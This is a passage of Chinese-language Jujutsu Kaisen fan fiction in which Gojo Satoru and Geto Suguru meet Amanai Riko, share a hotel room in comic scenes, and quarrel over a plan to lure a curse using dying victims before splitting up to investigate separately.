空气突然凝固沉寂。
天内理子的睫毛微颤,嗫嚅嘴唇。她停下了搅动茶水的动作:“只是很小部分,最大的原因是——我是星浆体。”
“小姐! !”坐在旁边一直默不作声的黑井美里陡然喝道。
“没关系的!告诉他们不会改变什么!”天内理子用力闭上眼睛吼道:“咒术界很少有人知道星浆体是谁,但很少有人不知道什么是星浆体!”
少女终于塌下了腰,放松下来。丢掉套上的盔甲,此刻的她显得平和又脆弱:“明年……我就要和天元大人同化了。”
五条悟歪头:“同化?那是什么?”
“就是……”天内理子绞着手指,“我会变成天元大人的一部分,而''天内理子''……会消失。”
夏油杰瞳孔一缩。
五条悟沉默两秒,突然哈哈笑出来:“烂橘子是大反派,天元则是只臭了几千年的橘子头头吧!这是什么邪教仪式?”
“悟!”夏油杰低声警告。
虽然才进入咒术界,但天元大人的重要性他已经有所了解。
“本来就是啊,”五条悟摊手,“搞献祭这一套?这都什么年代了?”
黑井美里脸色难看:“五条少爷,请您慎言!天元大人是咒术界的根基,星浆体同化一事维系着整个国家的稳定!”
五条悟嗤笑一声,犀利指出:“你是在自我洗脑吗?这种话说出来都说服不了你自己吧!”
天内理子忽然抬头,眼眶通红:“不是的!妾身……我是自愿的!”
“……自愿?”夏油杰轻声问。
“这是我与生俱来的使命,无法逃避!”天内理子斩钉截铁。
但面对着夏油杰温柔悲悯的神情与五条悟洞悉透彻的眼神,她却鼻尖酸涩,渐渐垮下了肩。
“‘我就是天元大人,天元大人就是我’,‘同化与死不同,藉由同化我与天元大人将共存于世’——诸如此类的话,我一遍一遍的同自己说。”
她气息稳定,声音平淡,泪水却滴滴落下,坠入温凉的茶水,飞出一片伤心的湿漉。
“我真的很惶恐、很胆怯,我想缩到墙角把自己从世界藏起来,但我绝不能自私!”
天内理子的音调兀然高亢,声如骤然被劈开的木垛!
夏油杰无法看到她的眼睛,只能瞧见少女试图平复气息,努力维持流畅表述而不断翕动的鼻翼以及颤抖的唇角。
风从窗外拂来,窗纱轻轻摆动,五条悟墨镜后的眼睛波澜不惊,室内须臾的空白。
“我本来很坚定的!”天内理子吸气呼气好一会,有些委屈道:“十几年来我都做得很好,守住自己的心让自己与世界若即若离,随时做好脱离的准备。”
“可是、可是愈离近那个日子,我反而愈想苟活!”
“我也想变得强大
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啊!我不要这么脆弱!我明明要成为英雄了,我怎么能有这么阴暗卑贱的想法啊! !”
“理子小姐——”
黑井美里泪眼汪汪,扑上去将哭的一抽一抽的少女塞进怀里。单薄的脊背如吱呀的泊船,被风雨击打的抖颤,却也坚定,将世间的疾风骤雨通通拒之门外。
“觉得阴暗卑贱?”五条悟突然咧嘴一笑。
“行啊,那正好……”
他站起身来,居高临下的看着她:“既然你想‘荣耀’,那么去当诱饵怎么样?”
“——你身上有标记,去把夢魔引出来,我们直接祓除它解救所有人。”
“五条少爷!”
“悟!”
黑井美里凶狠的看着他,猛的拉开障子门:“请二位立即离开。”
夏油杰沉默起身,拉住双手插兜的五条悟:“悟不是那个意思,他只是关心的方式别扭……”
“我知道,”黑井美里强硬打断他,“不论五条少爷是什么意思、是否是那个意思!天色已晚,二位都应告辞了。”
夏油杰只好礼貌道别。他召出虹龙,揪着五条悟的领口越到咒灵背部。
“请二位务必保密!如果总监部知道星浆体暴露……”
“放心吧!我们不会告诉其他人见过理子妹妹的!”
*
“悟,你刚刚为什么那么说?”夏油杰望着脚下掠过的灯火突然出声。
“干嘛?”五条悟挑眉,“是她不要‘阴暗卑贱’要‘荣耀’的!”
“我不是那个意思,”夏油杰无奈道,“明明是不赞同理子妹妹自诩的阴暗卑贱吧,关心别人的话要好好说啊!”
“哈——这又是正论?”五条悟翻了个大大的白眼,“老子最讨厌正论了!真是不好意思让你失望了,老子让她去做诱饵可是认真的。”
“那也是因为你觉得自己可以保障她的安全。”
夏油杰转过身看着他,语气郑重:“分明是个温柔的家伙吧,干嘛别别扭扭的,你是傲娇鬼吗?”
牙尖嘴利,无所不能的五条悟竟一时间被怔住了。明明是比谁都别扭的家伙吧,竟然在劝别人要坦诚一些。
他望着黑发少年的眼睛,清澈的紫眸在万家灯火地映衬下流光溢彩,纯粹又深刻。这人一番唬人的话砸下去,自己竟半点不觉得有什么问题。
真是……太有意思了!怎么会有这么有意思的人!
五条悟噗嗤一声放声大笑起来,如果不是施展空间不够,他可以捂着肚子翻滚着笑。
他仰倒在地笑的畅快,夏油杰看着他险些被虹龙高空抛物,反倒吓得惊出一身冷汗,他疾历出手握住对方不住踢踏的脚踝。
“你干什么?”夏油杰恼羞成怒,愤恨的收紧双手。
自己啥也没说啊,对方这样算个什么意思?
莫非……我有做谐星的天赋?
“太搞笑了吧,明明你最别扭了吧?真是怪刘海爱说怪话!”
“哈?”
夏油杰额角的青筋跳成大大的问号。
“你才别扭呢!”
五条悟不甘示弱。
“你才是!”
“反弹,反弹,反弹!”
“那老子反弹的2n+1次!”
“啊啊啊啊啊啊啊——!”
“呜啊!破防的优等生!”
歪歪扭扭的虹龙载着骂骂咧咧的声音和你来我往的拳脚命苦的往前飞去。
地面窗中的某一户人家,小女孩推开窗户揉了揉眼睛。
“妈妈你快看,天上有蛇在飞!”
“作业写完了吗就看蛇?……哎哟,这飞机尾气怎么喷的和你爸爸的广场舞似的!”
14. 同床共枕
五条悟不安分的翘了翘脚脚:“优等生,你捏疼老子了。”
现在的姿势是两人背对,夏油杰用力拉着五条悟这辆推车——车把是温热细腻的足踝。
夏油杰感到动静,举起他的腿使劲往两边撇开。
夜风呼啸,微醺撩人。虹龙在云间穿行,像行走流淌的银河。
五条悟就着躺成大字的姿势,傲人的长腿耷拉在空中,悠哉晃动。墨镜早被撇到一边,头发任由风抓的乱七八糟。
“杰——”他没安静一会,“你刚才是在装好人吧?”
虽然是疑问句,但他说的很笃定。
夏油杰警惕:“什么?”
“当然是欺骗无知少女,向她隐瞒朋友危险的事实啊。”五条悟闭着眼睛兜风,声音在风中招摇,“怎么?是怕小鬼哭鼻子吗?”
“她''看到''吸引了咒灵,自己平安无事朋友却身陷险境。如果她知道了恐怕会很愧疚吧。”
“哇哦,好温柔哦~”五条悟上半身弹起,将下巴搁在身前人的肩膀上,“夏油老师改行当心理医生了吗?”
“别调侃我了,论心理的话,我可不见得健康。”
夏油杰用力耸肩,五条悟的下巴却像是被502牢牢黏住,怎么都抖不落,黑发少年遂疲惫放弃。
“之前一直否定,现在说起这件事却坦率了很多呢。”
“毕竟诊断医生是你和硝子啊,否定了咒力的可能性又不是生理机制的问题,就只能是精神了。这种事接受不了也得面对吧。”
五条悟轻轻哼笑出来湿热的鼻息舔舐耳垂,留下黏濡的水渍。
“所以才说你又笨又怪啊,分明自顾不暇了还有心思去照顾别人。”
夏油杰不自在的歪着脖子,在没长猫的肩端狠狠蹭蹭,明明红润的不是这边耳垂,却能感到痒意稍稍退却。
“你该好好学学国文了,你的词库实在离奇,”夏油杰颠了颠他,“你应该夸赞我有急智又善权衡吧。”
“告诉她真相除了让她更痛苦之外有什么实际意义吗?她是星浆体,可不能出事。”
“要这么定性吗?”五条悟扫描仪似的眼睛在对方看不见的地方严丝合缝地运作着,“你也在想,所谓同化根本是在谋杀吧?”
夏油杰没有反驳。
他想起天内理子颤动的嘴唇和自我催眠式的话语。
——她在害怕。
“悟,”夏油杰忽然开口,“如果我们……阻止同化呢?”
五条悟饶有趣味:“哦?你不是最在乎意义了吗?你没听女仆说吗,‘星浆体同化一事关乎整个国家的稳定’唉!”
“注视宏观却藐视微观,这是在否定‘存在’吧。”
夏油杰苦恼的皱了皱眉,努力组织言辞:“天内理子的存在是有意义的。如果世界需要少女地献祭才能拯救,这个世界完蛋也迟早要完,早点晚点也没区别嘛。”
五条悟撑长脖子像只液体猫一样,未遮拦的眼睛奇特的看着他。
夏油杰鸡皮疙瘩噌噌冒出——我是珍惜动物,非要这么观光我?
“……你再这样看着我,我就要打你了哦。”
五条悟的脑袋缩回自己的窝里:“要造反的话算老子一个,在咒术界拳头就是规矩。种花家有句古话说的不错——棍棒底下出孝子,儿子不听话打一顿就行了,一顿不行打两顿,迟早能打服的。”
“双拳难敌四手,能用谈判解决争端就和平一点吧。”
“不用这么畏首畏尾吧?”
“不是畏首畏尾”,夏油杰淡定道,“是考虑后果。如果他们年龄太大耳朵不好,道德理念也不是不能用拳头喂进去。”
五条悟噗嗤一声埋在他的肩窝,哈哈大笑,乐不可支。
*
“五条同学!夏油同学!”
辅助监督在酒店门口来回踱步,看到从巷子拐出的两人差点跪倒在地:“你们知不知道擅自接触星浆体是违规的?!总监部提醒——”
“闭嘴!”五条悟眼泛危光,“总监部已经知道我们见过她了?”
石田辉被吓得脸色泛白;“不、不是的。我也是才知道,总监部的大人主动联络,要求我引导你们避开天内理子。”
夏油杰眯起眼:“你不是总监部的人吗,就这么告诉我们了?”
石田辉有些羞耻:“我,我是理想主义者,梦想是世界和平的那种。”
“……”
“什么嘛,原来也是个中二患者。”五条悟凑近他上下打量片刻,便无趣抛之脑后走入酒店。
“不论如何,请石田先生务必保密此事。我相信您身为伟大的理想主义者定不会坑骗我们这种未成年学生的。”
夏油杰笑眯眯的,眼睛眯成一条缝,酷似花言巧语诓骗乌鸦嘴中肉的狐狸。
石田辉一噎,疯狂点头。
*
“哈?这是什么破房间?”
五条悟捏着房卡站在门外,墨镜滑到鼻尖,露出那双满是嫌弃的眼睛。
夏油杰从后面探头,看见标准双人间里两张窄的可怜的床。
“两位将就一下,”辅助监督小声解释,“今天太晚了,临时只能订到这种。”
“老子不管,”五条悟一脚踹到房门上,“去换总统套房。”
“……我没钱啊,五条同学。”石田快哭出来了,“况且新宿最近在举办大型展会,一时半会真订不到别的房型啊!”
我只是个可怜的社畜而已啊,真不是我想苛待未成年啊!
夏油杰叹了口气,把背包扔到靠窗的床上:“算了,凑合一晚。”
五条悟撇撇嘴,突然伸手拉开衣柜——空荡荡的衣架上面除了酒店配套的廉价浴袍,就只有一看就是在路边摊买来的平价白T。
“……你认真的?”
石田擦汗:“我没钱啊!”
夏油杰也凝重道:“换洗的内衣裤呢?”
辅助监督怔了一会:“我忘了……”
“哈?!”
被踹出房门的石田辉听见五条悟地怒喊:“现在立刻马上去买!要最贵的!”
“悟!”夏油杰按住跳脚的搭档,“别为难他了。”
他掏出手机,看向一旁的广告单拨出去:“我们点外送服务。”
五条悟不解:“内裤还有外送服务?”
“我以前也没听过,但广告单上说可以。”
*
浴室里再次传来哗啦啦的水声时,五条悟已经盘腿坐在床上拆外卖袋。
他刚冲完澡,白发不听训的翘着,身上套着那身印着劣质海绵宝宝的浴袍——领口的线脚粗糙,磨得他锁骨发红。
“杰——这是什么啊——”
水声停了片刻,夏油杰被玻璃遮挡显得沉闷的声音传来:“包装上不是写着吗?”
五条悟分出精致的黑色包装盒,一字一顿念到:“赠品:超薄、倍润、螺纹、持久安全套……这是什么,一次性压缩裤衩?”
“噗通!”
浴室传来重物落地的声音。
一只咒灵从浴室门缝弹射出来,飞速卷走小方盒。
“喂!老子还没看清楚——”
咒灵“咕咚”一声把盒子吞了。
五条悟和圆鼓的咒灵大眼瞪小眼。
“杰,”他戳了戳咒灵滑溜溜的表皮,“你养的这东西是不是故障了?”
浴室门“砰”地打开,夏油杰裹着同款印派大星的浴袍冲出来,发丝黏在脸上还在滴水:“那是赠品!不用管!”
五条悟歪歪脑袋:“你过敏了?脸这么红。”
“……水温太高了。”
夏油杰一把抓起床上的内裤冲回浴室。
“杰……你拿成老子的了,你的小一个码老子穿不了!”
“……”
室内安静一会—
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—“轰!”“砰!”
夏油杰风一样呼出来,又像风一样呼走,门摔得震天响。
“搞什么啊……”
*
羞愤欲死的夏油杰终于穿戴整齐换上白T,他出来时五条悟正把新裤衩往头上套。
“……你在干嘛?”
“测试弹性啊。”五条悟把脸上的裤衩转了一圈,“这玩意可以当眼罩用诶。”
夏油杰扶额:“那是穿在下面的。”
“老子知道啊,你在把老子当弱智吗?”五条悟扯下''眼罩'',一脸无辜,“所以刚才那个''安全套''老子为什么不能碰?”
这件事不是已经过去了吗?!
夏油杰想把擦头发的毛巾咬在嘴里堵住内心的尖叫——难怪酒店会有外送内裤的服务,大人们的脑子为什么不能纯洁一点!
如果早知道,他宁愿挂空挡等明早晾干也死活不要打那个电话!
“……那是成人特殊部位的内裤。”
“哦?”五条悟眨巴着纯洁的蓝眼睛,“年纪越大萎缩越快所以用的特小号吗?”
“自己去查手机!”
“小气~”五条悟一个后仰倒在床上,“你告诉老子那个''套''用……”
“闭嘴!”
一只枕头狠狠砸在五条悟脸上。他大笑反手把枕头打成棉絮。
“幼稚鬼!”
“假正经!”
夏油杰狠狠下拽五条悟掀起的衣角,遮住他的大腿把他踢进浴室。
“杰,浴袍太扎了,老子不要穿。”
五条悟退下浴袍,在浴室挠着红痒的锁骨。
外面的人没有说话,门外传来开开合合的稀碎声响。不久浴室门被人打开一条缝,一只手抓着衣服伸进来。
五条悟挑眉,不接过衣服反而饶有趣味地用两指环住对方的手腕。
刚洗过澡的皮肤透着健康的红,在五条悟莹白的指环间微暗。
五条悟像看到好玩的东西,睁大了猫眼。
夏油杰浑然不觉,递出的手腕上下轻轻晃动,碰到对方的皮肤便松了手。
五条悟出来时夏油杰已经吹完头发,散开的发丝温顺地搭在颊侧,在昏黄的壁灯下吹着被五条悟头发润湿的床单。
看到五条悟出来,他顿了几秒,眼神在五条悟湿漉的发丝上游移。
“过来吹头发,头痛可不止是六眼会带来。”
五条悟顶着一头乱糟糟的白发愉快的扑上去,像只大型猫科动物甩甩头,水珠四处飞溅。
“……别乱动。”
五条悟换了几个姿势,最后把湿漉漉的脑袋拱到少年怀里。
吹风机的嗡嗡声在房间响起,夏油杰的手指在五条悟柔软的发丝里穿梭。白毛猫在呼呼的热风下惬意眯眼,头也一点一点的,就差打出舒适的咕噜咕噜声。
这家伙,真的很像小猫啊。
……有点想球球了。
五条悟突然翻身坐起,头顶重重冲到夏油杰下巴,打断他对自家毛茸茸的思念。
“唔啊!”
夏油杰痛呼出声,五条悟龇牙咧嘴的用力揉了揉自己的脑袋就把双臂撑在对方身侧。
“等、等等!”
夏油杰还没反应过来,就被连人带床推到里面。
''吱呀'',两张床合并在一起。
“完美!”五条悟得意的打了个响指,“这样睡起地方大。”
夏油杰看着拼在一起的床铺一时语塞:“……我不要和你睡在一起。”
“哎啊~”五条悟笑嘻嘻撞他的肩,“快来啦,老子分你一半床!”
“……”
*
半夜,夏油杰再次把压在自己肚子上的手脚搬下去。
他生无可恋的盯着天花乱坠,认真思考着用咒灵把五条悟打包到走廊的可能性。
——明天绝对要申请换房间!不换…我就不是人!
15.诱饵计划
清晨,阳光飞过窗棂活泼地跳进来。
夏油杰顶着一双可以cos熊猫的眼圈,昏昏欲睡坐起,看似人在其实死了有一会了。
五条悟则神清气爽,懒腰伸着,白发翘起,毛茸茸的若无所觉。
“哇哦,好差的脸色,你身体也太虚了吧,回头让夜蛾出钱给你补补?”
“……”
夏油杰幽幽翻白眼,你要不要瞧瞧自己在说什么?
“你知道自己睡觉会打架吗?”
“不愧是老子,连睡觉也在训练。”五条悟大笑起来。
夏油杰:“……”
“好啦好啦,”五条悟转了个漂亮的圈圈,揽住郁闷的搭子,“大不了晚上让你压回来!老子不介意的!”
“我·介·意。”夏油杰甩开他的手,“快去洗漱吃饭,吃完我们还要继续追踪夢魔。”
“我们要不要再去一趟廉直女子学院,那个女学生撒谎了哦。”五条悟懒懒散散跟在后面,接过挤好牙膏的牙刷。
“你竟然看出来了?”
五条悟气鼓鼓:“那么明显的三条红手串,在你心里老子难道是个蠢货吗?”
“那倒没有。”夏油杰否定,“你这家伙敏锐聪明得可怕,但在常识和人情方面也确实是个不折不扣的笨蛋。”
五条悟含着牙刷的左脸肥嘟嘟的:“老子可以''感知''啊,只是不理解又不是不知道。”
“与其说是不理解,不如说你是懒得想吧。”
“因为照顾弱者很累啊。”
夏油杰侧眼,五条悟龇出大白牙自我欣赏着,牙膏泡挂在嘴边DuanDuang的,和他的脸一样□□弹弹。
他皱眉,话在嘴边却改了口:“没必要,她们的感情纠葛估计也和夢魔没多大关系。”
五条悟含着泡沫:“明明是自己嫉妒,偏偏要趁机倒打一耙扳倒别人。”
“青春期的细腻小心思吧,希望自己在要好的朋友心里占据更高的地位。况且在她心里,理子妹妹估计早就被打为异类了。”
“不对哦,”五条悟咕噜咕噜吐水,“嫉妒是真的,但她却未必有多厌恶天内理子。”
“?”
夏油杰疑惑挑眉,见五条悟嘿咻嘿咻地淋水冲脸,他额角溜下黑线,看不过眼便伸手把他的衣袖往上拽了半截,呼了块毛巾上去。
五条悟被擦的嗷嗷叫唤,他闷声道:“我也不知道啦,但总感觉她是故意引我们去见天内的。”
“如果是提供调查方向那么直说就好,为什么要那么隐晦,甚至说出诋毁的言辞?”
五条悟:“我咋知道,我不是人情上的笨蛋吗?”
夏油杰:……
*
“都怪那群烂橘子,现在各方面的线索都断了。”五条悟双手背在脑后。
夏油杰突然止步:“现在只有一个办法了!”
五条悟好奇道:“什么?”
“诱饵计划!”黑发少年郑重道。
“好耶!”五条悟蹦着举双手赞成,“这么有意思的事,老子要上!”
“额——你?”
夏油杰满脸狐疑。
“咒灵那些智障玩意儿,骗过他们还不是轻轻松松?”五条悟表示简简单单,难不倒我。
夏油杰满脸不信任。
五条悟比出大拇指指着自己,牛逼哄哄道:“瞪大你的眯眯眼,看老子操作就是了!”
*
“这就是你的操作?”
夏油杰默默掏出手机录像。
五条悟用水将雪白的头发抹成炸开的刺猬头,水的支力不够,那些个刺棱便蔫哒哒的垂着。校服外套上套着淘来的铆钉紧身背心,将腋下的校服布料箍的鼓起。
他眼睛下面多了一圈晕乎乎的烟熏,嘴角摸着多到夸张的番茄酱,蹲在墙角45度仰望天空。
“老子、难受、香菇——”
“怎么样?”五条悟凹出的忧郁侧脸突然破功,“像不像大都市里被甩百八十次的倒霉男子?”
“ooc了哦,葬爱家族不能这么说话。你这样的只能说勉强像个乞丐。”夏油杰咔嚓咔嚓,“不过这样不行的吧,夢魔监测的应该是情绪波动而不是外表的样子。”
五条悟勾出油腻的笑容,一分钟几十个pose,夏油杰来着不拒,闪光灯不停。
“好了,好了,别玩了。换个方案。”
夏油杰心满意足收回手机。
“呵,你自己也玩的很高兴吧?”五条悟对他指指点点。
夏油杰轻咳两声抬头望天:“诱饵这种事还是让我来吧。”
“你?这么暴躁的怪刘海装什么忧郁啊?!”
“偌大的东京,每天要诞生很多情绪垃圾。恰巧咒术师的负面情绪本就远高于普通人,只要引起内心深处的恐惧……”
夏油杰说着,深吸一口气。
他狠狠闭眼,半晌,兀然睁眼!气势汹汹,迅疾出手抓住五条悟双肩,瞪大眼睛,死死盯着他!
五条悟瞳孔扩大,闷不做声放软下意识紧绷的肌肉。
一分钟过去了……
“……杰,你其实可以眨眼的。”
全是血丝的小眼睛瞪得太大了,悟酱有点害怕。
“闭嘴!我在酝酿!”
可恶,怎么这个时候幻视一点不给力啊!
意念——集中!集中!集中! !
又过去两分钟……
“……”
五条悟小心翼翼:“你不是要做诱饵吸引咒灵吗,现在是改变目标,要把老子瞪死吗?”
夏油杰沉默松手,然后猛地转身埋头。脸上血色欲滴,羞愤欲死。
呜呜呜~太丢人了吧!
五条悟根本摸不着头脑:“怪刘海你到底在干嘛?”
这个优等生,一惊一乍奇奇怪怪的,也太不成熟了吧。
自以为很成熟的五条悟拽住夏油杰的丸子把他拧过来。
“所以你要怎么引诱咒灵?”
夏油杰艰难道:“……计划已经夭折了。”
五条悟一副原来如此的样子:“所以你刚刚试图用眼神让老子恐惧战栗?所以老子该配合你一下?”
“你就这么理解着吧。”夏油杰像拍球球一样拍了拍他的脑袋,丢给他一根青苹果味的棒棒糖。
“不过现在事情变得麻烦了,石田先生从其他案发现场和受害者家属口中也没查到新线索。”
五条悟研究两眼,果断用牙尖去撕顶
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端的包装袋。
夏油杰无奈地拍了拍他的下巴,示意他松嘴。
五条悟警惕:“给老子就是老子的了。”
“谁跟你一样,像个小孩子似的。”
夏油杰翻了个白眼,接过棒棒糖。一手抓住顶部,一手抓住底部向反方向扭。
“哦吼!”五条悟眼神亮亮的把糖抛进嘴里。
“不哦,还是有办法的。”他揣着兜,美滋滋地说,“那个咒灵标记了小鸟,小鸟被别的脏东西一碰它就追到了医院,可见是个护食的。”
“护食,有点像你啊。”
五条悟觑了他一眼:“老子扇你哦。”
“不过那也是为什么老子提议让天内当诱饵的原因,所以那句话是真心的。”
“理子妹妹吗?”夏油杰皱眉,但还是思考可能性,“以我们两个的实力肯定可以保护好她。那么……”
虽然很不情愿让她去冒险,但别无他法又能保护少女安全的前提下,确实可以去执行施行,那么多条人命还在前面吊着呢。
“你理解错了,不是天内。”
五条悟说:“她那有天元的结界,能够进行读取,她不能出来。”
夏油杰诧异道:“那我们去见过她的事岂不是……”
五条悟打断他:“说到底我们见过她本来也不是什么大事,只是总监部的那群烂橘子太怕死又爱权而已。但天元还是有点不一样的,如果我们只是''见过''他才懒得管,但如果知道星浆体跑出来还被我们陷入危险,性质就不一样了。”
夏油杰皱眉:“问责之类的有夜蛾老师顶着,以我们的实力也无需畏惧。但反抗这种事情也只有在同化发生的时间段才是有效的,在此期间,理子妹妹自由生活的权力怕是会被彻底剥夺。”
“所以诱饵不能是她。”
夏油杰定定看向他。
“那两个昏迷的女生”,五条悟嗦着糖的样子乖乖巧巧,“她们活不成了。”
夏油杰狐狸眼微微睁大,不可置信地看着他。
夏油杰的声音如同扑扇的眼睫一样抖颤:“你、什么意思?”
五条悟歪头,声音冷静到可怕:“她们被夢魔吸食的太久身体早就亏空,就算在她们死前祓除估计也就剩几口气的时间。立刻利用她们引出夢魔才是此刻的最优解,只有这样其他人才能获救,她们也可以趁早解脱。”
“你疯了吗?那可是活人!”
“马上就会变成死人。”五条悟嘎嘣嚼碎糖果,“与其延缓她们的痛苦,不如当断则断的让她们的生命发挥最后一点余热。”
小巷一片寂静,十月的天很温柔,早晨的阳光烂漫。夏油杰却不寒而栗,如坠冰窖。
在五条悟的眼里,一切是可以用等式衡量计算的吗?就算是鲜活的、生动的、温热的少女的性命?
夏油杰细细描摹他的神情。
看不到、在他的脸上他看不到一丁点惋惜。他聪颖沉静,像是在观察培养皿,甚至称不上是在欣赏一朵花的枯荣。
——理智到有些残忍。
“我说过,审判生命的人和诅咒没有任何区别!”
五条悟站在垃圾桶旁丢糖棍的动作一顿:“所以在你眼中,老子现在变成怪物了是吗?”
16.分道扬镳
夏油杰听到''怪物''两个字有些不知所措的反驳:“不!不是的!我只是……”
“她们还没死不是吗?她们的生命、哪怕不剩几分钟——对于牵挂她们的人而言依旧不可割舍不是吗?我们不能杀人啊!”
“又是意义论?净说些虚无缥缈惹人恼火的疯话!”五条悟突然笑了,“马上要死的,只有怎么死,死在谁手里的区别。老子只是客观分析,阐述事实而已。”
“疯话?”夏油杰被他刺地乱说一气反击,“那也比你浑浑噩噩强!”
“什么?!”
五条悟眯起眼睛。
“你有在乎的事吗?有在意的人吗?”夏油杰越来越冷,“你只是随随便便活着,过去封闭就也无所谓前路如何的活着!对待世界像是对待一场大型真人游戏,除了轻浮和输赢还剩下什么!过程在你眼里一点也不重要!”
“所·以·呢?”五条悟环臂抱胸一字一顿,“老子不在乎世界无所谓未来只在乎输赢——那你的''意义''就是不轻浮很重要的了?”
“过程和世界本来就没有意义,只有弱者和空虚的人才会做''赋予''这种无聊又自我感动的事。”
他直视夏油杰的眼睛半点不退。
“老子什么都不在乎也比某人强!不被需要了就像个耷拉尾巴的丧家犬。整天把正论挂在嘴边,你真该听夜蛾的去看看心理医生!”
夏油杰捏紧拳头:“你懂什么?!”
“我是不懂啊~”五条悟眼神锋利沉静,“不懂某人为什么给自己找罪受、不懂问题明明可以轻松解决为什么偏要绕还没影的远路——”
“因为不是每个人都像你一样天然可以确信''自我的存在''!”夏油杰忍不住吼出来,说完后却立马后悔,表情懊丧。
五条悟垂下手臂:“什么意思?”
“……说了你也不知道。”夏油杰嘴唇抖颤,避开话题。
他转身离开:“随便你怎么样,我自己去找夢魔。”
五条悟站在垃圾桶面前盯着他的背影,像一颗伫立的枯树,有点沉默,有些失落,高大而又疏落。
他手里的黄*色棍子还没丢掉,嘴里的糖渣还黏在唇腔黏膜上。
刚刚酸酸甜甜爽口的味道一时间涩的人胸闷,他憋了口气,使劲呸出来。
“噗噗噗,可恶的怪刘海!啊啊啊啊啊!”
五条悟使劲踹了几脚垃圾捅,想破脑袋也没想明白,除了不理解还是不理解,越想越气,越气嘴里越酸。
什么不是,分明就是把老子当做怪物了吧!之前那些话那些事算什么?
不安分的怪刘海就爱假惺惺地装品学兼优关心别人的优等生,以后也肯定会是个玩弄女生感情的家伙!
五条悟对善恶和人心天然敏感,但向来吝于探究的习性使得他面对夏油杰的转身只有莫名其妙和烦躁。他没办法抓住那人的领子大声质问,只能在心里狠狠谴责他,委屈的气恼他,恨不得把过去挨个指指点点,试图找出这个人对不住他的地方。
“叮铃铃~”
五条悟接起:“喂,谁?”
“额,五条同学您和夏油同……”
“他?被老子打死了!”
被挂断电话的石田辉被怨气冲的怔在原地,难受的想吃瓶安眠药把自己弄晕过去。
夏油杰被打死了?那刚刚对他一阵敷衍的难道是鬼吗?
“两个人都联系不上,那我怎么办,案子怎么办?”
石田辉抓耳挠腮突然反应过来,不对啊!
我只是个辅助监督啊!皇帝不急他急什么,这不正是摸鱼的好机会吗?
就算任务失败找人背锅也轮不到他啊!
“五条少爷的任务,报销上多报一些数目也是正常的吧。”
石田辉愉快的哼着歌转向歌舞伎町。
夏油杰乘着魔鬼鱼飞往高桥镇家中,路上越想越气。
五条悟这个家伙,拿自己衡量别人的笨蛋!笨蛋!超级无敌大笨蛋!
说他在讲疯话和无聊的东西?还说他是只丧家犬?我看他才是只翘尾巴的流浪猫吧?
夏油杰恶狠狠的想着,连带着摁门铃、拍屋门都整成一副催债找茬的架势。
“一大早吵吵吵吵吵,要死啊!”
邻居周末清早被吵醒,身上布满了社畜的怨气。
夏油杰将烦闷压下:“您好,我有重要的事找高桥一家。是渡边医生让我带来的消息。”
“渡边?”
他刚要解释:“是……”
邻居不耐烦地打断:“不管是谁,你现在是找不到人的!这两夫妻天天不见人影,丈夫忙的要死,妻子不知所踪。你要找人晚上再来碰碰运气吧。”
夏油杰诧异道:“妻子不知所踪?!”
“听说是身体不好一周前去乡下养病了,我是瞧着她是有些毛病。”邻居点了点自己的太阳穴,“自从他那个儿子招惹不干净的东西后,她整天神神叨叨,怪渗人的。”
一周前?小岛由太出院、高桥女士从医院请假的日子。
夏油杰烦躁的皱眉。
“总之别敲了,敲不出个人影的。别扰我的美梦了!”
邻居砰地把窗户合上,窗帘一拉,遁到温暖的被窝里。夏油杰不打算离开,站在清早的凉风中。
这个任务也许有下派不及时的缘由,但涉案人员也越查越疑点重重,从天内理子和宫园音再到高桥一家与小岛由纪,各个有各的秘密。
高桥先生也就罢了,可一个担忧儿子到身体抱恙的母亲怎么可能把儿子撇下回乡下?
他警惕地看了看四周,召出一只低级咒灵打开了高桥家的门锁。
屋内溢满光尘,地板上积满泡面盒与各种垃圾。灰尘遍布深深浅浅,是一遍遍踩踏后又落上去的,可见家中主人的分身乏术与内心苦闷。
夏油杰连续打了几个喷嚏,怀疑是五条悟在咒骂他。
一想起那个笨蛋,他便皱着鼻子愤愤到咬牙切齿。
他憋着口气,空中浮出众多扭曲的黑影,随着他一个念头便往房中四散而去。
夏油杰停止咒力输送冷着脸上楼。
自己明明很重视很在乎这份友谊也有在好好尊重这个笨蛋啊!知道他的成长环境后即便特别反对他的观念也再不曾将自己“以强护弱”的想法灌输,想着去改变他。
他的锋锐冷酷在他的生命里是一柄尖刀,磨得锋锐又疾历,只要不刺向自己就是柄无可替代的防身利器。
唔,说起来刚刚的话是不是有些过分了,夏油杰顿下脚步。
自己明明不是那个意思偏偏被激的扯出些伤人的话,对方也只是如同自己所说的那样在客观分析罢了。
不、不对。
夏油杰磨了磨牙,继续气冲冲往上走。
说他浑浑噩噩游戏人间也比他否认自己友善的多!他的意义才不是什么无聊自我感动的东西!这家伙以为谁都和他一样聪慧坚定理智从不受外界干扰吗?
不,不能夸那家伙。
夏油杰走到楼上却停了。
但他连自己是怪物那样的话都说出口了……
“……”
啊啊啊啊啊啊啊啊啊啊啊啊啊!
夏油杰面目狰狞,无声咆哮!
脑子,我命令你让五条悟从里面滚出去!
夏油杰摇动身体拼命甩头,膝盖重重一跪,疯狂给空气磕头。
“咔嚓——”
门口传来钥匙扭动门锁的齿轮声,夏油杰猛地抬头,敏捷起身扭开最近的门闪身躲进去。
他掀起窗帘的一角,来人头发打结,眼珠混沌,胡子拉碴,是医院撞到他的高桥先
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生!
可恶,不是说早出晚归,不是说这个点不会有人吗?
果然是五条悟误我吧,要不然我早搜完了!不要心软啊夏油杰,他克你的!
几息之间,高桥进屋来。他鞋也不换,只想在沙发上摊一会。突然,他脚步顿住,涣散的眼神一凝,脱下鞋子,抄起一根棒球棍蹑手蹑脚的顺着脚印向楼上摸去。
房间无法看见屋内的情景,分派的咒灵却能传回讯息。
夏油杰暗到不妙,更加迁怒起五条悟。
魔鬼鱼撕裂空间,他推开窗户想翻身而出时瞥见桌面的A4纸,一两个字眼令他眼神一滞。他一把抓住,跳窗,命令魔鬼鱼扶摇直上,逃之夭夭。
*
这边的五条悟想着那番话越想越气,但还是磨磨牙出门查案,直到中午才满头大汗气冲冲回到酒店。
他一个电话反播回去,直接弄死了石田辉摸鱼的幸福生活,把他从歌舞伎町的醉生梦死中叫醒。
“你不是希望世界和平的理想主义嘛?”五条悟嫌弃的把听筒拉远。
“额,五条同学,我这么干影响不到咒术界的。”
“你,去给老子买东西,老子要竹支屋的巴斯克,西阁的慕斯和巧克力,远光庵的和果子……”
石田苦着脸:“……五条同学,我没钱啊。”
